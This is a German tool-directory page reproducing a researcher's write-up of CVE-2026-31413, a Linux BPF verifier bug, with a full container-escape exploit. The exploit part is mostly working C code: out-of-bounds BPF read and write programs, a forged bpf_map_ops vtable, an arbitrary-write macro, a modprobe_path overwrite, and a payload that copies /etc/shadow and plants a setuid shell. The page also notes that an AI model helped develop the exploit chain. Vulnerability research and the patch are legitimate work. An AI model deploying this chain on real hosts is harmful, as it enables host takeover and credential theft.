Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31413-BPF-Container-Escape — CVE-2026-31413: BPF-Verifier-Soundness-Bug - Container-Escape | Kitploit
Tools/GitHubGitHub/rat5ak/cve-2026-31413-bpf-container-escape
Privilege EscalationSchwachstellenanalyseExploitationPost-ExploitationPapers & ForschungLernen & BildungContainer-AusbruchBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
rat5ak/cve-2026-31413-bpf-container-escape

CVE-2026-31413-BPF-Container-Escape

CVE-2026-31413: BPF-Verifier-Soundness-Bug - Container-Escape

Repository anzeigen
116vor 4 MonatenNoch nicht geprüft

CVE-2026-31413: Ein Byte im BPF Verifier zum Container-Ausbruch

Ich habe einen Soundness-Bug im Linux BPF-Verifier gefunden – ein + 1 in einem push_stack()-Aufruf, der dazu führt, dass der Verifier eine ALU-Instruktion auf einem verzweigten Pfad überspringt. Für BPF_OR bedeutet dies, dass der Verifier dst = 0 verfolgt, während die CPU 0 | K = K berechnet. Ich schrieb einen vollständigen Container-Ausbruch: OOB-Lesen/Schreiben aus einer BPF-Map, Vtable-Hijacking, Überschreiben von modprobe_path, Root auf dem Host. Dann erstellte ich eine Patch-Serie mit zwei Patches – eine Ein-Zeichen-Fix im Verifier und 90 Zeilen Selftests – und ließ sie in den Mainline-Merge einfließen.

📹 Demo-Video zum Container-Ausbruch

CVECVE-2026-31413
Bug-KlasseVerifier-Soundness – Abweichung des Registerwerts
Ursachepush_stack(env, env->insn_idx + 1, ...) überspringt ALU-Instruktion auf verzweigtem Pfad
Eingeführtbffacdb80b93 - Linux 7.0-rc1 (14. Jan. 2026)
Behobenc845894ebd6f - Linux 7.0-rc5 (22. März 2026)
Betroffen6.12.75+ (stabiler Backport dea9989a3f) bis 7.0-rc4
AuswirkungBeliebiger Kernel-Lese-/Schreibzugriff → Container-Ausbruch → Host-Root
ErforderlichCAP_BPF + CAP_PERFMON + CAP_NET_ADMIN
FixEin Zeichen: insn_idx + 1 → insn_idx

TL;DR

maybe_fork_scalars() verzweigt den Verifier-Zustand, wenn es ARSH + AND/OR mit einer Konstante sieht. Der gepushte Pfad erhält dst = 0 und überspringt die ALU-Instruktion. Für AND ist das in Ordnung: 0 & K = 0. Für OR ist es falsch: 0 | K = K, nicht 0.

Der Verifier denkt, das Register sei Null. Die CPU hat K. Ich nutzte dies, um beliebiges OOB-Lesen/Schreiben aus einem BPF-Map-Wert aufzubauen, leckte die Kernel-Adresse der Map, erstellte eine gefälschte bpf_map_ops-Vtable, leitete map_push_elem über array_map_get_next_key für beliebiges Schreiben um und überschrieb modprobe_path. Ein unbekanntes Binärformat auslösen, der Kernel führt mein Skript als Root aus. In einem Container vollständiger Host-Ausbruch.

Zwei-Patch-Serie: ein Ein-Zeichen-Fix im Verifier plus 90 Zeilen BPF-Selftests, die OR vs. AND-Verzweigung abdecken. Gemerged von Alexei Starovoitov am 22. März. CVE-2026-31413 zugewiesen von Greg Kroah-Hartman am 12. April.


Hintergrund: Der BPF-Verifier

eBPF ermöglicht es Ihnen, kleine Programme in den Kernel zu laden – Paketfilter, Tracing-Hooks, Sicherheitsrichtlinien – ohne ein Kernel-Modul zu kompilieren. Der Haken ist, dass Sie Code in Ring 0 injizieren. Wenn dieser Code einen Fehler hat, ist es ein Kernel-Fehler.

Bevor also ein BPF-Programm ausgeführt wird, simuliert der Verifier des Kernels jeden möglichen Ausführungspfad. Er verfolgt, was jedes Register enthält (ein Zeiger? ein Skalar? welcher Bereich?), überprüft jeden Speicherzugriff auf Map-Grenzen und lehnt alles ab, was außerhalb der Grenzen lesen oder schreiben könnte. Wenn der Verifier ein Programm für sicher erklärt, kompiliert der JIT es in nativen Maschinencode und führt es mit voller Kernel-Berechtigung aus. Es gibt danach keine Laufzeit-Grenzprüfungen mehr. Der Verifier ist die Sicherheitsgrenze.

Aus diesem Grund unterscheiden sich Verifier-Soundness-Fehler von normalen Speicherfehlern. Bei einem Heap-Overflow oder UAF erhalten Sie eine Korruptionsprimitive und müssen von dort aus arbeiten – Heap sprayen, Objekte groomen, ein Zeitfenster ausnutzen. Bei einem Verifier-Fehler bringen Sie den Kernel dazu, eine Lüge über den Wert eines Registers zu glauben. Jede Grenzprüfung, die von diesem Register abhängt, wird bestanden. Der Kernel hat Ihren OOB-Zugriff genehmigt. Er führt ihn ohne Frage aus. Wenn Sie den Registerzustand korrekt abstimmen können, erhalten Sie eine saubere und zuverlässige Primitive daraus.

Wie ich es gefunden habe

Ich auditierte maybe_fork_scalars() – neuer Code, hinzugefügt Januar 2026 in bffacdb80b93. State-Forking ist immer interessant, weil der Verifier dort in parallele Erkundungspfade aufteilt, und wenn ein Pfad einen falschen Wert verfolgt, ist alles stromabwärts dieses Pfades unsound.

Die Funktion verzweigt, wenn sie ARSH + AND/OR mit einer konstanten Quelle sieht. Der gepushte Pfad erhält dst = 0, überspringt die ALU-Instruktion. Ich las die Zeile push_stack(env, env->insn_idx + 1, ...) und es klickte sofort – das + 1 bedeutet, dass der gepushte Pfad die ALU-Operation nie ausführt. Für AND, 0 & K = 0, daher ist das Überspringen in Ordnung. Für OR, 0 | K = K. Der gepushte Pfad denkt, das Ergebnis sei 0, obwohl es tatsächlich K ist.

Ich schrieb noch am selben Abend ein BPF-Programm. ARSH 63, um {0, -1} zu erhalten, OR mit einer Konstante, bedingter Sprung, um die Verifier-Pfade zu trennen, dann Addieren des "Null"-Registers zu einem Map-Zeiger. Der Verifier genehmigte map_value + 0. Die CPU griff auf map_value + K zu. KASAN bestätigte den Out-of-Bounds-Zugriff in Tests.

OOB-Lesen/Schreiben am nächsten Morgen. Container-Ausbruch am nächsten Abend. Ich nutzte durchgehend Claude (Opus 4.5) – zum Durcharbeiten der State-Forking-Logik des Verifiers, zum Brainstorming von Exploitation-Primitives und zum Umwandeln des OOB in eine vollständige Escape-Chain. Der Vtable-Hijack-Ansatz entstand aus einem Hin und Her, bei dem Claude die Funktionszeiger von bpf_map_ops durchging und nach aufrufbaren Gadgets suchte.

Der einführende Commit

Commit bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier") wurde am 14. Januar 2026 in 7.0-rc1 aufgenommen. Alexei Starovoitov, gemeinsam entwickelt von Puranjay Mohan. Er fügte maybe_fork_scalars() hinzu, um ein LLVM-DAGCombiner-Muster zu behandeln:``` w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1 w2 &= -134 // AND with constant K

root@kitploit:~
LLVM senkt `select_cc setlt X, 0, A, 0` zu `sra + and` ab. Nach der arithmetischen Rechtsverschiebung ist das Register entweder `0` (nicht-negative Eingabe) oder `-1` (alle Einsen). AND mit einer Konstanten ergibt `0` oder `K`.

Der Verifier kann `{0, K}` in einem einzelnen `bpf_reg_state` nicht tracken – sein vorzeichenbehafteter Bereich `[0, K]` überapproximiert, und das führte dazu, dass er gültige Cilium-Programme ablehnte. Die Lösung: Forken des Verifier-Zustands. Ein Pfad untersucht `dst = 0`, der andere `dst = -1`, wobei jeder den genauen Wert verfolgt.

Die Implementierung:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
                              struct bpf_insn *insn,
                              struct bpf_reg_state *dst_reg)
{
    // ... condition check: dst range is [-1, 0], src is constant ...

    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
    //                             ^^^^^^^^^^^^
    //                    pushed path resumes AFTER the ALU insn
    if (IS_ERR(branch))
        return PTR_ERR(branch);

    regs = branch->frame[branch->curframe]->regs;
    __mark_reg_known(&regs[insn->dst_reg], 0);   // pushed: dst = 0
    __mark_reg_known(dst_reg, -1ull);             // current: dst = -1
    return 0;
}

Zwei Dinge geschehen auf dem geschobenen Pfad:

  1. Das Zielregister wird auf 0 gesetzt.
  2. Die Ausführung wird bei insn_idx + 1 fortgesetzt – der Anweisung nach der ALU-Operation.

Für BPF_AND: dst = 0, überspringe die AND-Operation. Laufzeit: 0 & K = 0. Übereinstimmung. Korrekt.

Für BPF_OR: dst = 0, überspringe die OR-Operation. Laufzeit: 0 | K = K. Nichtübereinstimmung. Der Verifier sieht 0. Die CPU hat K. Nicht korrekt.

Die Funktion prüft den Opcode nicht. Sie wurde für AND geschrieben – wo das Überspringen der Anweisung das Gleiche ist wie ihre Ausführung mit dst = 0 – und wurde auch auf OR angewendet. Für OR gilt diese Gleichheit nicht.

Auslösen der Divergenz

Das Auslösemuster besteht aus fünf Anweisungen:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)

root@kitploit:~
Der Verifizierer erkundet zwei Pfade:

**Aktueller Pfad** (`dst = -1`): Das ODER wird ausgeführt, `-1 | K` ist immer noch `-1`. Der
Zweig `r6 s< 0` wird genommen. Der Verifizierer folgt dem Exit. Dieser Pfad ist sicher und
der Verifizierer bestätigt ihn.

**Verschobener Pfad** (`dst = 0`, ODER übersprungen): `r6 = 0`. Der Zweig `r6 s< 0` wird nicht
genommen. Der Verifizierer fällt durch zu `r9 += r6`, sieht `r9 += 0` und genehmigt den
darauffolgenden Speicherzugriff als innerhalb der Grenzen.

**Laufzeit** (`dst = 0`, ODER wird ausgeführt): Der Map-Wert ist positiv, also nach ARSH,
`r6 = 0`. Das ODER wird ausgeführt: `0 | K = K`. Der Zweig `K s< 0` wird nicht genommen (K ist
positiv). `r9 += K` - ein Zugriff außerhalb der Grenzen um `K` Bytes, vom Verifizierer als
`r9 += 0` genehmigt.

Ich kontrolliere `K`. Lese- oder Schreibzugriff mit beliebigem Offset außerhalb der Grenzen, relativ zu einem beliebigen BPF-Map-Wert.

Die Leseversion speichert die durchgesickerten Daten in eine zweite Map für den Userspace-Abruf.
Die Schreibversion lädt einen Wert aus einer dritten Map und schreibt ihn an den Offset außerhalb der Grenzen.
Beide passieren den Verifizierer.

Hier ist der vollständige `oob_read_prog` - dies ist der tatsächliche Code aus dem Exploit, nicht
Pseudocode:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
    int K = -offset;
    struct bpf_insn insn[] = {
        /* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),       /* map_lookup_elem */
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_LDX_MEM(BPF_DW, R6, R0, 0),                  /* R6 = seed (positive) */

        /* look up dst_fd[0] → R9 = pointer to output buffer */
        BPF_LD_MAP_FD(R1, dst_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R9, R0),

        /* look up map_fd[0] again → R8 = base pointer for OOB access */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R8, R0),

        /* === THE BUG === */
        BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 (positive seed) */
        BPF_ALU64_IMM(BPF_OR, R6, K),                    /* verifier: R6=0, runtime: R6=K */
        BPF_MOV64_IMM(R7, 0),
        BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K = offset */
        BPF_ALU64_REG(BPF_ADD, R8, R7),                   /* R8 = map_value + offset (OOB) */
        BPF_LDX_MEM(BPF_DW, R0, R8, 0),                  /* OOB read: 8 bytes */
        BPF_STX_MEM(BPF_DW, R9, R0, 0),                  /* store to output map */
        BPF_MOV64_IMM(R0, 0),
        BPF_EXIT_INSN(),
    };
    return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}

Und der OOB-Write - derselbe ARSH+OR-Trick, schreibt jedoch einen Wert aus einer dritten Map in den OOB-Offset:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */

root@kitploit:~
    BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 */
    BPF_ALU64_IMM(BPF_OR, R6, K),                    /* R6 = K (verifier: 0) */
    BPF_JMP_IMM(BPF_JSLT, R6, 0, 13),                /* skip if negative (verifier path) */

    BPF_MOV64_IMM(R7, 0),
    BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K */
    BPF_ALU64_REG(BPF_ADD, R9, R7),                   /* R9 = OOB target */

    /* look up val_fd[0] → R8 = value to write */
    BPF_LD_MAP_FD(R1, val_fd),
    BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
    BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
    BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
    BPF_LDX_MEM(BPF_DW, R8, R0, 0),                  /* R8 = write value */

    BPF_STX_MEM(BPF_DW, R9, R8, 0),                  /* OOB write */
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
    BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));

}

root@kitploit:~
Um entweder Programm zu starten, verbinde ich es mit einem Socket-Paar und schiebe ein Paket durch:```c
static int trigger_bpf_prog(int prog_fd)
{
    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
    setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
    char buf[64] = "x";
    write(socks[1], buf, sizeof(buf));
    struct timeval tv = { .tv_sec = 1 };
    setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    read(socks[0], buf, sizeof(buf));
    close(socks[0]); close(socks[1]);
    return 0;
}

Das Negate-and-Add-Muster (R7 = 0 - R6; R8 += R7) ermöglicht es uns, negative Offsets vom Map-Wert zu erreichen - wo sich die eigenen Metadaten der Map befinden.


Ausnutzung: OOB zu Container Escape```

BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit

root@kitploit:~
### Das Ziel-Layout

Ein `BPF_MAP_TYPE_ARRAY` wird durch `struct bpf_array` gestützt, das `struct bpf_map` an Offset 0 einbettet. Die eigentlichen Map-Werte beginnen bei Offset 264 (nach dem `bpf_array`-Header + Alignment). Also von `value[0]` aus liegen die eigenen Metadaten der Map an bekannten negativen Offsets:```
                   struct bpf_map (embedded in bpf_array)
                   ┌────────────────────────────────────────┐
offset from val[0] │                                        │
    -264           │ ops          (struct bpf_map_ops *)    │ ← vtable pointer
    -240           │ map_type     (u32)                     │
    -236           │ key_size     (u32)                     │
    -232           │ value_size   (u32)                     │
    -228           │ max_entries  (u32)                     │
                   │ ...                                    │
    -136           │ freeze_mutex.wait_list                 │ ← points back into struct
                   │ ...                                    │
       0           │ value[0]     ← our OOB origin          │
                   └────────────────────────────────────────┘

Ich habe dies mit pahole auf dem 6.12.76-docker vmlinux überprüft. Auf dem getesteten Kernel stimmten die Offsets exakt überein.

Schritt 1: Informationsleck

Zwei OOB-Reads geben mir alles, was ich brauche:

wait_list bei Offset -136. Dies ist freeze_mutex.wait_list, ein list_head, das auf sich selbst zeigt, wenn der Mutex nicht umkämpft ist. Sein Wert ist &map->freeze_mutex.wait_list - ein Kernelzeiger in die Map-Struktur. Ziehe 128 ab und ich habe die Basisadresse der Map. Addiere 264 und ich habe die Kerneladresse von value[0].

ops bei Offset -264. Dies ist der bpf_map_ops vtable-Zeiger. Auf einem unveränderten Kernel zeigt er auf das globale array_map_ops-Symbol. Ich lese ihn aus, um zu bestätigen, dass der Kernel nicht gepatcht ist, und um die vtable-Adresse für das Klonen zu erhalten.```c uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST); uint64_t map_addr = wait_list - 128; uint64_t val_addr = map_addr + 264;

uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }

root@kitploit:~
An diesem Punkt habe ich: die Kernel-Adresse der Map, die Adresse meiner kontrollierten Daten (`value[0]`) und den bestätigten Vtable-Zeiger.


### Schritt 2: Gefälschte Vtable

`bpf_map_ops` hat 42 Funktionszeiger-Slots. Wenn ich nur diejenigen auf Null setze, die ich nicht benötige, wird der Kernel einen NULL-Deref auslösen, sobald er einen davon berührt. Also löse ich jedes Symbol aus `/proc/kallsyms` auf und erstelle eine vollständige Kopie:```c
uint64_t *vt = (uint64_t *)(val + 8);  // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check;       // map_alloc_check
vt[ 1] = sym_alloc;             // map_alloc
vt[ 2] = 0;                     // map_release (unused path)
vt[ 3] = sym_free;              // map_free
vt[ 4] = sym_get_next_key;      // map_get_next_key
// ...
vt[12] = sym_lookup_elem;       // map_lookup_elem
vt[13] = sym_update_elem;       // map_update_elem
vt[14] = sym_delete_elem;       // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY;    // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage;         // map_mem_usage

Slot 15 ist map_push_elem. In der echten array_map_ops ist dies NULL (Arrays unterstützen kein push). Ich ersetze es mit array_map_get_next_key.

Warum get_next_key? Seine Signatur ist:```c int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)

root@kitploit:~
Es liest `*(u32 *)key`, erhöht es, und schreibt das Ergebnis in `*(u32 *)next_key`. Wenn über den `map_push_elem` Dispatch-Pfad aufgerufen:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
    → map->ops->map_push_elem(map, value, flags)

Das flags-Argument landet im next_key-Parameter. Wenn ich flags kontrolliere, kontrolliere ich das Schreibziel. Der geschriebene Wert ist *(u32 *)value + 1 - eine kleine Ganzzahl, die ich vorhersagen kann, indem ich die ersten 4 Bytes meines Push-Puffers setze.

Schritt 3: Karten-Korruption

Bevor ich die gefälschte Vtable verwenden kann, muss ich die Map dorthin umleiten und ihren Typ ändern, damit der Kernel über map_push_elem dispatchen kann. Drei OOB-Schreibvorgänge, die in dieser Reihenfolge ausgeführt werden:```c // Point ops at my fake vtable (lives at val_addr + 8) exec_oob_write(prog_wr_ops, scratch, val_addr + 8);

// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);

// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);

root@kitploit:~
Die Typänderung ist kritisch. Wenn der Userspace `bpf(BPF_MAP_UPDATE_ELEM)` auf
einer Array-Map aufruft, leitet der Kernel über `map_update_elem` weiter. Bei einer
Queue-Map hingegen leitet derselbe Syscall über `map_push_elem` - was nun auf
`array_map_get_next_key` zeigt.

Ich lade alle sechs BPF-Programme (drei Schreib- + drei Wiederherstellungsprogramme) *vor*
der Korruption des `ops`-Zeigers. Sobald ich den `ops`-Zeiger korrumpiere, kann ich keine neuen BPF-
Programme laden, die auf diese Map verweisen - der Verifier würde der gefälschten Vtable folgen und
abstürzen. Alles muss vorab vorbereitet sein.


### Schritt 4: Beliebiger Schreibzugriff via map_push_elem

Jetzt kann ich 4 Bytes an jede Kernel-Adresse schreiben:```c
#define ARB_WRITE32(addr, val32) do { \
    uint32_t _v = (val32); \
    uint32_t _pv = _v - 1; \
    memset(push_buf, 0, sizeof(push_buf)); \
    memcpy(push_buf, &_pv, 4); \
    map_push(victim, push_buf, (addr)); \
} while(0)

map_push() ruft bpf(BPF_MAP_UPDATE_ELEM) mit flags = addr auf. Der Kernel leitet weiter zu meinem gekaperten map_push_elem → array_map_get_next_key(map, push_buf, addr). Er liest *(u32 *)push_buf (welches val - 1 ist), addiert 1, und schreibt val nach *(u32 *)addr.

Die Schreibprimitive ist ein 4-Byte-u32-Speicherzugriff via get_next_key. Es gibt keine Ausrichtungsbeschränkungen – der Kernel führt ein normales *(u32 *)addr = val an der von uns angegebenen Adresse durch.

Schritt 5: modprobe_path Überschreiben

modprobe_path ist ein globales char[256] im Kernel, standardmäßig /sbin/modprobe. Wenn der Kernel auf eine ausführbare Datei mit einer unbekannten Magic Number stößt, ruft er modprobe_path als root auf, um das entsprechende Modul zu laden. Überschreibe es mit einem Pfad, den ich kontrolliere, löse ein unbekanntes Binärformat aus, und der Kernel führt mein Skript als root aus.

Der Zielpfad ist /tmpn/mo. Ich kann keine beliebigen Zeichenketten schreiben – ich schreibe 4 Bytes auf einmal über den Integer-Inkrement von get_next_key. Aber ich brauche nur zwei Schreibvorgänge:```c // Original: "/sbin/modprobe\0" // Write "/tmp" at offset 0: ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian // Write "\0\0\0\0" at offset 8 (null-terminate): ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U); // Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe" // Result: "/tmpn/mo\0"

root@kitploit:~
In container mode, `modprobe_path` resolves in the init mount namespace - not
the container's. So the payload script has to exist at `/tmpn/mo` on the host.
With `--pid=host` or a shared PID namespace, I reach the host filesystem through
`/proc/1/root/`:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");

In einem realen Angriff schreibt der Exploit die Nutzlast auf dem Host in /tmpn/mo über /proc/1/root/tmpn/mo (erreichbar, wenn der Pod einen gemeinsamen PID-Namensraum hat, wie es für Service-Mesh-Seitenwagen wie Cilium und Überwachungsagenten wie Falco Standard ist). Die Demo vereinfacht diesen Schritt: Der Orchestrator stellt die Nutzlast vorab auf dem Host bereit, sodass der Exploit nur die Ausführung auslösen muss.

Der Exploit erstellt die Trigger-Binärdatei – 4 Byte \xff – und führt sie aus. Der Kernel erkennt das Format nicht, sucht nach modprobe_path, findet /tmpn/mo und führt sie als Root aus.

Die Nutzlast:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null

root@kitploit:~
### Schritt 6: Bereinigung

Nach dem Schreiben von `modprobe_path` stelle ich den Map-Header – Type, max_entries,
ops – mit den drei zuvor geladenen Wiederherstellungsprogrammen wieder her. Die Map wird wieder zu einem
normalen Array. Keine lose Fake-Vtable, keine Kernel-Instabilität. Der Exploit ist ein
Einzelschuss und hinterlässt einen sauberen Zustand.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);

In meiner Demo-Umgebung dauerte die gesamte Kette vom ersten OOB-Read bis zur root shell nur ein paar Sekunden.


Exploit Tiers

Über den eigentlichen Container-Escape hinaus habe ich eine Reihe eigenständiger Exploit-Stufen entwickelt, die verschiedene Post-Exploitation-Fähigkeiten aus derselben Primitiven demonstrieren. Jede Stufe ist eine eigenständige C-Datei in exploit/, die die gemeinsame Hilfsbibliothek exploit_common.h für den ARSH+OR OOB-Read/Write-Setup verwendet.

Alle Stufen stellen jede Änderung vor dem Beenden wieder her. Getestet auf 6.12.76.

root@kitploit:~
Oder einzeln:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite

Jede Stufe erfordert CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.


Repository-Struktur```

├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile

root@kitploit:~
---

## Wer ist betroffen

Der Exploit erfordert `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. Auf einem gehärteten System erhält man diese von einem unprivilegierten Container oder einem normalen Benutzerkonto nicht. Aber es gibt viele Kontexte, in denen man diese Caps besitzt.

### Unprivilegierte BPF-Systeme

Wenn `kernel.unprivileged_bpf_disabled=0` ist (prüfen mit `sysctl`), kann jeder lokale Benutzer BPF-Programme laden. Früher war dies bei älteren Distributionen die Voreinstellung, und es wird manchmal für Entwicklungs-/Testumgebungen aktiviert. Auf diesen Systemen handelt es sich um eine direkte lokale Privilegienausweitung – jeder Benutzer zu root, keine besonderen Berechtigungen erforderlich.

Die meisten modernen Distributionen liefern `unprivileged_bpf_disabled=1` oder `=2` (gesperrt) aus, sodass dieser Pfad bei Standardinstallationen von Ubuntu 22.04+, Debian 12+, Fedora, RHEL 9 usw. geschlossen ist.

### Kubernetes / Container-Umgebungen

Hier schmerzt der Fehler. Standard-unprivilegierte Container lassen `CAP_BPF` fallen, sodass sie den Fehler nicht auslösen können. Aber viele Infrastruktur-Pods laufen mit erhöhten Caps:

| Produkt | Standardberechtigungen | Anmerkungen |
|---------|-----------------------|-------------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Netzwerkrichtlinie, läuft auf jedem Knoten |
| **Falco** | `privileged: true` | Runtime-Sicherheit, mountet /dev |
| **Tetragon** | `privileged: true` | eBPF-Beobachtbarkeit |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 mehr | Metriken, Logs, APM |
| **Pixie** | `privileged: true` | eBPF-basierte Beobachtbarkeit |
| **Tracee** | `privileged: true` oder BPF-Caps | Aquas Runtime-Sicherheit |

Diese laufen typischerweise als DaemonSets – ein Pod pro Knoten, clusterweit. Wenn ein Angreifer einen dieser Pods kompromittiert (RCE in einem Webservice auf demselben Knoten, Supply-Chain-Angriff, SSRF in eine Agenten-API usw.), besitzt er die Caps, die benötigt werden, um diesen Exploit auszuführen und auf Host-Root zu entkommen.

**Wichtiger Vorbehalt:** Der Exploit funktioniert nur auf Kerneln, die den anfälligen Code enthalten (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 bis rc4). Die meisten Produktions-K8s-Cluster laufen mit älteren LTS-Kerneln. Überprüfen Sie die Kernelversion Ihres Knotens mit `uname -r`, bevor Sie von einer Ausnutzbarkeit ausgehen.

Von Host-Root auf einem Knoten aus ist eine laterale Bewegung zu anderen Knoten normalerweise über dasselbe DaemonSet möglich (gemeinsam genutzte Servicekonten, eingehängte Secrets usw.).

### Managed Kubernetes (GKE, EKS, AKS)

